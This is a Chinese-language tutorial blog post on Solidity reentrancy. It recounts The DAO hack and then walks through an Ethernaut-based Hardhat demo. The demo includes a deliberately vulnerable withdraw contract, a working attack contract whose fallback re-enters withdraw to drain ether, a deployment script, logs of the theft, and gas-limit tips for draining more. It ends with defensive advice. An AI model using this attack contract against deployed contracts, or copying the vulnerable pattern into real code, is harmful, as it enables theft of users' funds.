本文作者:小驹[1]
重入,顾名思义是指重复进入,也就是“递归”的含义,本质是循环调用缺陷。重入漏洞(或者叫做重入攻击),是产生的根源是由于solidity智能合约的特性,这就导致许多不熟悉 solidity 语言的混迹于安全圈多年的安全人员看到“重入漏洞”这 4 个字时也都会一脸蒙圈,重入漏洞本质是一种循环调用,类似于其他语言中的死循环调用代码缺陷。
重入漏洞多数可以绕过代码的正常逻辑的执行,危害的究竟是可以导致拒绝服务还是可以导致代币丢失不能一概而论,更多取决于代码的编写逻辑相关,在区块链历史上,也产生过由于重入漏洞导致代币被盗的例子。
DAO,英文全称是 Decentralized Autonomous Organization,翻译过来是“去中心化自治组织”,是 以太坊创始人 V 神提出的一个概念。它依靠智能合约在区块链上运行,代码表明一切的规则,code is god,可以简单理解为 web3 上的去中心化的公司。
The DAO 则是区块链公司 Slock.it[2] 发起的一个众筹项目,是当时的明星众筹项目。
在 2016 年 6 月 7 日,有黑客利用漏洞向一个匿名的地址转移走了项目众筹来的 360 万枚 ether ,不过幸运的是,当时 The DAO 有 28 日的锁定期,所以要到 7 月 4 日,黑客才能转移走盗来的 ether,这给了社区处理的时间。当时,Slock.it[3] 的首席技术官发表过一篇博文,他提出两点建议:
对打硬分叉大家形城了分歧,主要有两种声音:
最终结果,两方谁都不服,形成两条链:一条为原链条 ETC,另一条为新的分叉链 ETH,各自代表不同的社区共识。
这个事件是以太坊历史上最大的事件。在这个事件里,黑客利用的漏洞就是重入攻击漏洞。
为了更好地理解漏洞,需要有对 solidity 编程的基本的理解,主要关注下面两个前置知识:
😀 solidity转账函数有哪些?
我们先来了解 solidity 中能够转账的操作都有哪些?主要有 transfer,send,call.value()三个方法。
在自己的合约代码中最推荐的函数是 transfer 函数,因为 transfer 在转账失败后会回滚交易。其次是 send 函数,send 函数是 transfer 的底层实现,在调用 send 时要自行判断 send 函数的返回值。最不推荐的是 call.value()函数,这个函数是 send 函数的底层实现。
另外一个区别在于:transfer 和 send 函数在调用时有 gas 限制,如果超过了 2300 gas 时,这两个函数就会返回。但 call.value()函数没有 Gas 限制,可以将整个交易中设置的 Gas 用光。
有兴趣的朋友,可以自行编写这三个函数的调用方法,在 remix 中看各个函数使用的 Gas used。
漏洞示例中就是使用了最不安全的 call.value()函数,导致如果调用合约时,传入的 Gas 够大,可以达到重入的御环代码可以运行很久。
首先我们要知道,转账是可以转钱到一个智能合约地址或者一个账户地址。这两个是有所区别的————Fallback 函数
Fallback 函数(也叫回调函数)的说明 合约可以有一个未命名的函数———Fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。 除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币。( 🥰🥰:没有 payable 的回调函数,合约不能收以太币) 在这样的上下文中,通常只有很少的 gas 可以用来完成这个函数调用(准确地说,是 2300 gas),所以使 fallback 函数的调用尽量廉价很重要。请注意,调用 fallback 函数的交易(而不是内部调用)所需的 gas 要高得多,因为每次交易都会额外收取 21000 gas 或更多的费用,用于签名检查等操作。
fallback 函数在下面三种情况下会调用:
下面的漏洞示例中就是因为向我们的攻击合约转了 ether,从而调用了我们攻击合约的回退函数,而攻击合约的回退函数又调用了原合约的 withdraw 函数,原合约的 withdraw 函数又调用转败给了攻击合约,从而又回调用攻击合约的回退函数,而攻击合约的回退函数又又调用了原合约的 withdraw 函数…………一个循环就此产生了。
那么请思考下这个循环会一直无限地执行下去吗?如果不会的话,什么时候这个循环才会停下呢?
答案是:不会的,当这笔交易的 Gas 用光时,循环就会暂停,交易就会结束,但是在结束之前,从原合约中的 ether 已经转走到攻击合约中了…
正是因为call.value()没有Gas限制和fallback函数引起了重入这两者的结合,才导致下面演示漏洞中的 ether 的窃取。
参考 ethernaut 中的漏洞合约。在 solidity 0.8 版本中进行代码重写与复现。
演示代码分为三部分,分别为:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SafeMath.sol";
import "hardhat/console.sol";
contract Reentrance {
// using SafeMath for uint256;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender] + msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(address _to, uint _amount) payable public {
require(balances[msg.sender] > _amount);
require(address(this).balance > _amount);
_to.call{value:_amount}("");
unchecked {
balances[msg.sender] -= _amount;
}
console.log("[RE withdraw]balance[%s]:%s" ,msg.sender , balances[msg.sender]);
}
receive() external payable {}
}// SPDX-License-Identifier: MIT
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrance.sol";
import "hardhat/console.sol";
contract Attack {
Reentrance reentrance;
address public owner;
uint public number;
modifier ownerOnly(){
require(msg.sender==owner);
_;
}
fallback() external payable{
if (msg.sender == address(reentrance)){
number = number +1;
console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ",
number,address(this).balance/(10**18), address(reentrance).balance/(10**18));
reentrance.withdraw(address(this), msg.value);
}
}
receive() external payable{
if (msg.sender == address(reentrance)){
number = number +1;
console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ",
number,address(this).balance/(10**18), address(reentrance).balance/(10**18));
reentrance.withdraw(address(this), msg.value);
}
}
constructor() payable{
owner = msg.sender;
}
function setVictim(Reentrance _victim) public ownerOnly {
reentrance = _victim;
// console.log("Attack setVictim is call");
}
function startAttack(uint _amount) public ownerOnly {
reentrance.deposit{value:_amount}();
reentrance.withdraw(address(this), _amount/2);
}
function byebye() public {
selfdestruct(payable(owner));
}
}// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// When running the script with `npx hardhat run <script>` you'll find the Hardhat
// Runtime Environment's members available in the global scope.
const hre = require("hardhat");
const { waffle } = require("hardhat");
import { Signer } from "ethers";
const ethers = hre.ethers;
async function main() {
// 定义变量,user部署Reentrance合约,hacker部署Attack合约
const provider = waffle.provider;
let Reentrance, reentrance, Attack, attack;
let user1: Signer;
let hacker: Signer;
// 取得两个用户账户,分别模拟user1, hacker
[user1, hacker] = await ethers.getSigners();
// 使用user1部署Reentrance合约
Reentrance = await hre.ethers.getContractFactory("Reentrance", user1);
reentrance = await Reentrance.deploy();
await reentrance.deployed();
// 使用hacker账户部署attack合约,在部署attack时,直接给attack充2个eth
let overrides ={
value: ethers.utils.parseEther("2"),
}
Attack = await hre.ethers.getContractFactory("Attack", hacker);
attack = await Attack.deploy(overrides)
await attack.deployed()
// 打印user和hacker的地址,以及部署的Reentrance合约的地址和Attack合约的地址
console.log("Contract Reentrance address:", reentrance.address);
console.log("Contract Attack address:", attack.address);
console.log('attack balance:%s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));
let tx = {
from: await user1.getAddress(),
to: reentrance.address,
value: ethers.utils.parseEther("100")
}
await user1.sendTransaction(tx);
console.log('reentrance balance:%s',await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));
console.log('---------模拟初始环境完成:--------\\n--------1. reentrance合约(%s)有 %s ETH \\n 2.hacker部署attack合约,hacker合约(%s)有 %s 个ETH\\n----------------------',
reentrance.address,
await ethers.utils.formatEther(await provider.getBalance(reentrance.address)),
attack.address,
await ethers.utils.formatEther(await provider.getBalance(attack.address))
);
console.log('下面模拟攻击过程,调用attack的startAttack方法');
await attack.connect(hacker).setVictim(reentrance.address);
await attack.connect(hacker).startAttack(await ethers.utils.parseEther("1"));
console.log("******************攻击完成后,各账户的余额******************");
console.log('reentrance contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));
console.log('attack contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});user1账户部署原始Reentrance合约。hacker账户模拟攻击者,部署攻击Attack合约。在部署的同事向 Attack 合约中存入一部分 Ether(这里存了 2 eth)。user1账户,向Reentrance合约中存入 ether,这里存入了 100 eth.hacker账户发起攻击,通过调用 Attack 合约中的setVictim方法和startAttack方法。Reentrance合约中的 Ether,被窃取到 hacker 部署的 Attack 合约中了。注意区分 4 个角色:外部账户user1,外部账户hacker,Reentrance合约,Attack合约。(我记得我初学时,在这 4 个角色中混淆了好久 🤪)上面的 A,B 账户是指外部账户,最终的攻击结果是 B 账户窃取了Reentrance合约中的 Ether。
执行时的打印的日志如下:
Reentrance合约 就会被窃取一次 ETH,这是重入的标志之一。Contract Reentrance address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Contract Attack address: 0x8464135c8F25Da09e49BC8782676a84730C318bC
attack balance:2.0
reentrance balance:100.0
---------模拟初始环境完成:--------
--------1. reentrance合约(0x5FbDB2315678afecb367f032d93F642f64180aa3)有 100.0 ETH
2.hacker部署attack合约,hacker合约(0x8464135c8F25Da09e49BC8782676a84730C318bC)有 2.0 个ETH
----------------------
下面模拟攻击过程,调用attack的startAttack方法
[attack fallback] 1 times called, attack_balance:1 , re_balance:100
[attack fallback] 2 times called, attack_balance:2 , re_balance:100
[attack fallback] 3 times called, attack_balance:2 , re_balance:99
…………………………
[attack fallback] 57 times called, attack_balance:29 , re_balance:72
[attack fallback] 58 times called, attack_balance:30 , re_balance:72
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039457084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039456584007913129639936
…………………………
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039439084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039438584007913129639936
******************攻击完成后,各账户的余额******************
reentrance contract balance : 81.5
attack contract balance : 20.5如果演示中遇到问题,可能出现在下面的地方。
solidity 版本问题。因为我们使用的是pragma solidity ^0.8.0; ,在这个版本中,如果发生溢出,会导致交易失败,抛出异常。所以为了排除溢出的影响,在代码中使用uncheck{}使代码检查溢出。
😀 在Solidity 0.8.0之前,算术运算总是会在发生溢出的情况下进行“截断”,从而得靠引入额外检查库来解决这个问题(如 OpenZepplin 的 SafeMath)。而从Solidity 0.8.0开始,所有的算术运算默认就会进行溢出检查,额外引入库将不再必要。
基于上面的原因在Reentrance.sol 演示合约中,使用了下面的代码,
unchecked {
balances[msg.sender] -= _amount;
}如果不使用 uncheck{}检查的话,如果 gas 特别大,足够跑完所有的重入代码,会导致回滚,从而无法窃取到。如果 gas 一般大,跑完部分的重入代码的话,可以窃取部分 ETH。
gas 问题。在hardhat.config.ts module.exports 处的 networks 的配置中 hardhat 网络(也就是 hardhat 默认启动的网络)中通过 blockGasLimit 设置 gasLimit 内容。在 gasLimit 比较小的时候,gas 费用只够执行很少次的”重入”,会导致 attack 合约只能窃取到少量的 eth。如果在测试时,遇到 attck 合约无法窃取或者窃取的 eth 很少的情况下,请加大 gasLimit 的设置。如:在 blockGasLimit 为1_000_000时,攻击结果如下:此时,重入代码一次都没有得到执行,attck 合约没有窃取到任何的 ETH。

在 blockGasLimit 为10_000_000时,攻击结果如下:此时,重入代码得到部分执行,attck 合约没有窃取到大约 40 个(attck 合约在攻击后有 42.5eth, 攻击前有 2eth,有 40.5 个是从 reentrance 合约中窃取的)的 ETH。

在 blockGasLimit 为400_000_000时,攻击结果如下:此时窃取了大约 100 个 ETH,基本上把 reentrance 掏空了。

重入漏洞的原因无外乎第一是由于程序不够健壮。第二是 solidity 的 fallback 的机制。为了避免重入漏洞,围绕着上述两点,给出下列的安全建议:
https://lalajun.github.io/2018/08/29/智能合约安全-重入攻击/ https://ethereum.org/zh/history/
[1]
小驹: https://learnblockchain.cn/people/9625
[2]
则是区块链公司Slock.it: http://xn--Slock-lq5hk4bc4d55bswqis6bsn3i.it
[3]
Slock.it: http://Slock.it